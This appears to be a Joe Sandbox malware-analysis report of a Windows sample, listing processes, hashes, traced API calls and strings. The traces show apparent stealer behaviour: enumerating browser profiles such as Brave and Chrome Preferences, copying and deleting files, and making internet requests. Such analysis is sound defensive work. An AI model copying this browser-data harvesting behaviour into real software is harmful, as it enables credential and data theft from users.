Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:48:27
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"
Imagebase:	0x4e0000
File size:	545'792 bytes
MD5 hash:	6C93FC68E2F01C20FB81AF24470B790C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:48:27
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 2252
Imagebase:	0x150000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02F30400), ref: 0041625D
GetProcAddress.KERNEL32(75900000,02F304E0), ref: 00416275
GetProcAddress.KERNEL32(75900000,02F31A20), ref: 0041628E
GetProcAddress.KERNEL32(75900000,02F31B10), ref: 004162A6
GetProcAddress.KERNEL32(75900000,02F31A80), ref: 004162BE
GetProcAddress.KERNEL32(75900000,02F31A98), ref: 004162D7
GetProcAddress.KERNEL32(75900000,02F2F140), ref: 004162EF
GetProcAddress.KERNEL32(75900000,02F31AB0), ref: 00416307
GetProcAddress.KERNEL32(75900000,02F31AE0), ref: 00416320
GetProcAddress.KERNEL32(75900000,02F31AC8), ref: 00416338
GetProcAddress.KERNEL32(75900000,02F31B28), ref: 00416350
GetProcAddress.KERNEL32(75900000,02F30440), ref: 00416369
GetProcAddress.KERNEL32(75900000,02F30420), ref: 00416381
GetProcAddress.KERNEL32(75900000,02F306C0), ref: 00416399
GetProcAddress.KERNEL32(75900000,02F30500), ref: 004163B2
GetProcAddress.KERNEL32(75900000,02F31AF8), ref: 004163CA
GetProcAddress.KERNEL32(75900000,02F31B40), ref: 004163E2
GetProcAddress.KERNEL32(75900000,02F2F1E0), ref: 004163FB
GetProcAddress.KERNEL32(75900000,02F30540), ref: 00416413
GetProcAddress.KERNEL32(75900000,02F34530), ref: 0041642B
GetProcAddress.KERNEL32(75900000,02F34668), ref: 00416444
GetProcAddress.KERNEL32(75900000,02F34560), ref: 0041645C
GetProcAddress.KERNEL32(75900000,02F34488), ref: 00416474
GetProcAddress.KERNEL32(75900000,02F30600), ref: 0041648D
GetProcAddress.KERNEL32(75900000,02F344A0), ref: 004164A5
GetProcAddress.KERNEL32(75900000,02F345C0), ref: 004164BD
GetProcAddress.KERNEL32(75900000,02F34548), ref: 004164D6
GetProcAddress.KERNEL32(75900000,02F34680), ref: 004164EE
GetProcAddress.KERNEL32(75900000,02F34398), ref: 00416506
GetProcAddress.KERNEL32(75900000,02F34638), ref: 0041651F
GetProcAddress.KERNEL32(75900000,02F345F0), ref: 00416537
GetProcAddress.KERNEL32(75900000,02F343F8), ref: 0041654F
GetProcAddress.KERNEL32(75900000,02F34650), ref: 00416568
GetProcAddress.KERNEL32(75900000,02F11AD0), ref: 00416580
GetProcAddress.KERNEL32(75900000,02F343B0), ref: 00416598
GetProcAddress.KERNEL32(75900000,02F34410), ref: 004165B1
GetProcAddress.KERNEL32(75900000,02F30460), ref: 004165C9
GetProcAddress.KERNEL32(75900000,02F34578), ref: 004165E1
GetProcAddress.KERNEL32(75900000,02F306A0), ref: 004165FA
GetProcAddress.KERNEL32(75900000,02F34590), ref: 00416612
GetProcAddress.KERNEL32(75900000,02F343C8), ref: 0041662A
GetProcAddress.KERNEL32(75900000,02F303C0), ref: 00416643
GetProcAddress.KERNEL32(75900000,02F30100), ref: 0041665B
LoadLibraryA.KERNEL32(02F345A8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(02F343E0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(02F34458,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(02F345D8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(02F34608,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(02F34620,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(02F34428,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(02F34440,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75FD0000,02F30040), ref: 0041670A
GetProcAddress.KERNEL32(75FD0000,02F34470), ref: 00416722
GetProcAddress.KERNEL32(75FD0000,02F31638), ref: 0041673A
GetProcAddress.KERNEL32(75FD0000,02F344B8), ref: 00416753
GetProcAddress.KERNEL32(75FD0000,02F30260), ref: 0041676B
GetProcAddress.KERNEL32(73AF0000,02F2F230), ref: 00416790
GetProcAddress.KERNEL32(73AF0000,02F30280), ref: 004167A9
GetProcAddress.KERNEL32(73AF0000,02F2EF38), ref: 004167C1
GetProcAddress.KERNEL32(73AF0000,02F344D0), ref: 004167D9
GetProcAddress.KERNEL32(73AF0000,02F344E8), ref: 004167F2
GetProcAddress.KERNEL32(73AF0000,02F300C0), ref: 0041680A
GetProcAddress.KERNEL32(73AF0000,02F30120), ref: 00416822
GetProcAddress.KERNEL32(73AF0000,02F34518), ref: 0041683B
GetProcAddress.KERNEL32(763B0000,02F302E0), ref: 0041685C
GetProcAddress.KERNEL32(763B0000,02F30240), ref: 00416874
GetProcAddress.KERNEL32(763B0000,02F34500), ref: 0041688D
GetProcAddress.KERNEL32(763B0000,02F346F8), ref: 004168A5
GetProcAddress.KERNEL32(763B0000,02F302A0), ref: 004168BD
GetProcAddress.KERNEL32(750F0000,02F2EBC8), ref: 004168E3
GetProcAddress.KERNEL32(750F0000,02F2EB50), ref: 004168FB
GetProcAddress.KERNEL32(750F0000,02F346C8), ref: 00416913
GetProcAddress.KERNEL32(750F0000,02F302C0), ref: 0041692C
GetProcAddress.KERNEL32(750F0000,02F30300), ref: 00416944
GetProcAddress.KERNEL32(750F0000,02F2EFB0), ref: 0041695C
GetProcAddress.KERNEL32(75A50000,02F34710), ref: 00416982
GetProcAddress.KERNEL32(75A50000,02F30020), ref: 0041699A
GetProcAddress.KERNEL32(75A50000,02F31658), ref: 004169B2
GetProcAddress.KERNEL32(75A50000,02F34728), ref: 004169CB
GetProcAddress.KERNEL32(75A50000,02F34740), ref: 004169E3
GetProcAddress.KERNEL32(75A50000,02F30140), ref: 004169FB
GetProcAddress.KERNEL32(75A50000,02F301E0), ref: 00416A14
GetProcAddress.KERNEL32(75A50000,02F34698), ref: 00416A2C
GetProcAddress.KERNEL32(75A50000,02F34758), ref: 00416A44
GetProcAddress.KERNEL32(75070000,02F30000), ref: 00416A66
GetProcAddress.KERNEL32(75070000,02F346B0), ref: 00416A7E
GetProcAddress.KERNEL32(75070000,02F346E0), ref: 00416A96
GetProcAddress.KERNEL32(75070000,02F34D10), ref: 00416AAF
GetProcAddress.KERNEL32(75070000,02F34C98), ref: 00416AC7
GetProcAddress.KERNEL32(74E50000,02F30360), ref: 00416AE8
GetProcAddress.KERNEL32(74E50000,02F30160), ref: 00416B01
GetProcAddress.KERNEL32(75320000,02F30060), ref: 00416B22
GetProcAddress.KERNEL32(75320000,02F34CC8), ref: 00416B3A
GetProcAddress.KERNEL32(6F080000,02F300E0), ref: 00416B60
GetProcAddress.KERNEL32(6F080000,02F30200), ref: 00416B78
GetProcAddress.KERNEL32(6F080000,02F30180), ref: 00416B90
GetProcAddress.KERNEL32(6F080000,02F34BA8), ref: 00416BA9
GetProcAddress.KERNEL32(6F080000,02F301A0), ref: 00416BC1
GetProcAddress.KERNEL32(6F080000,02F30380), ref: 00416BD9
GetProcAddress.KERNEL32(6F080000,02F2FFE0), ref: 00416BF2
GetProcAddress.KERNEL32(6F080000,02F30320), ref: 00416C0A
GetProcAddress.KERNEL32(74E00000,02F34CF8), ref: 00416C2B
GetProcAddress.KERNEL32(74E00000,02F316C8), ref: 00416C44
GetProcAddress.KERNEL32(74E00000,02F34B78), ref: 00416C5C
GetProcAddress.KERNEL32(74E00000,02F34C38), ref: 00416C74
GetProcAddress.KERNEL32(74DF0000,02F30080), ref: 00416C96
GetProcAddress.KERNEL32(6CFF0000,02F34CE0), ref: 00416CB7
GetProcAddress.KERNEL32(6CFF0000,02F30340), ref: 00416CCF
GetProcAddress.KERNEL32(6CFF0000,02F34D58), ref: 00416CE8
GetProcAddress.KERNEL32(6CFF0000,02F34CB0), ref: 00416D00

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s\*, xrefs: 0041165D
%s\%s, xrefs: 004117FD
%s\%s\%s, xrefs: 004117DB
%s\%s, xrefs: 00411714
%s%s, xrefs: 00411838

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: d93435ca498117fc267a353c545a6d3ba1c10adce48d9d682c14761b8e3cad0e
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: d93435ca498117fc267a353c545a6d3ba1c10adce48d9d682c14761b8e3cad0e
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNEL32(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

Brave, xrefs: 0040B8A2
Google Chrome, xrefs: 0040BDB9
Preferences, xrefs: 0040B8BE
\Brave\Preferences, xrefs: 0040B97B

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 3e1f6611026515cfc210ece1f343476c0341627d163e0313da2498a08443dbb3
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: 3e1f6611026515cfc210ece1f343476c0341627d163e0313da2498a08443dbb3
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CD6F688,00001000), ref: 6CCE35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCE35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CCE35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCE363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCE369F
__aulldiv.LIBCMT ref: 6CCE36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CCE3773
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CCE377E
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CCE37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CCE37C4
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CCE37CB
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CCE3801
__aulldiv.LIBCMT ref: 6CCE3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CCE3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CCE3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CCE394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CCE35DB
AuthcAMDenti, xrefs: 6CCE3946
QPC, xrefs: 6CCE38FC
GTC, xrefs: 6CCE3912
GenuntelineI, xrefs: 6CCE3639

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 07d67e5689d0ca9f2aeadaf6f7ae428f3f6a6a2075e3294643ef9d0948ea3fce
Instruction ID: 25b2175a1f29110f502c55a01ad88fcacdf5c597d648c951932c74d68ca55836
Opcode Fuzzy Hash: 07d67e5689d0ca9f2aeadaf6f7ae428f3f6a6a2075e3294643ef9d0948ea3fce
Instruction Fuzzy Hash: 4DB1A871B097009BEB08DF6AC84472677FABB8E700F05492EE595D7760E770E804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNELBASE(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\*, xrefs: 0041257D
%s\%s, xrefs: 0041264F
%s\%s, xrefs: 004125FE

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 5553c9d8587964ce7b066a1da5366a871140b892814ea262383d9067aef239d7
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: 5553c9d8587964ce7b066a1da5366a871140b892814ea262383d9067aef239d7
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNELBASE(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: bb0549c7b6986a3c1f364107cabe92cb0ba03fc2e9311472ee1ce9898fbd5ded
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: bb0549c7b6986a3c1f364107cabe92cb0ba03fc2e9311472ee1ce9898fbd5ded
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404CC1, 00404DA0
c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: f6a4e599449fbca18e018557d69fcf565d8a1237fd8376d3d1da0dfec8570c1a
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: f6a4e599449fbca18e018557d69fcf565d8a1237fd8376d3d1da0dfec8570c1a
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 28e0b9a981f86cd81012ac691f96a841fff0f6a7cf22082fc4f6a122fb61989c
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: 28e0b9a981f86cd81012ac691f96a841fff0f6a7cf22082fc4f6a122fb61989c
Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: faf091430041a50804e62d1139a2417efbc6f2ecef1183e2e29cad036790af82
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: faf091430041a50804e62d1139a2417efbc6f2ecef1183e2e29cad036790af82
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
